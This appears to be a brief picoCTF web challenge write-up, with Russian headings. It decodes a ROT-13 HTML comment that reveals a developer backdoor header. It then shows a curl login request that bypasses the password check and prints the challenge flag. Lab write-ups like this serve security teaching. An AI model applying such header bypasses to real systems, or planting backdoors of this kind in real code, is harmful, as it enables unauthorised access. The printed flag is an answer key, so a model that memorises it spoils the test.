Сложность: Easy 100 pts

1.1 Задание

We're in the middle of an investigation. One of our persons of interest, ctf player, is believed to be hiding sensitive data inside a restricted web portal. We've uncovered the email address he uses to log in: ctf-player@picoctf.org. Unfortunately, we don't know the password, and the usual guessing techniques haven't worked. But something feels off... it's almost like the developer left a secret way in. Can you figure it out?

1.2 Решение

Изучаем код страницы и находим комментарий:

```
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urngre "K-Qri-Npprff: lrf" -->
```

Используем ROT-13 и находим

```
<!-- NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes" -->
```

Затем находим флаг:

```
curl -s -X POST \
  -H "X-Dev-Access: yes" \
  -H "Content-Type: application/json" \
  -d '{"email":"ctf-player@picoctf.org","password":"whatever"}' \
  "http://amiable-citadel.picoctf.net:62067/login"
{"success":true,"email":"ctf-
player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{brut4_f0rc4_0d39383f}"}
```
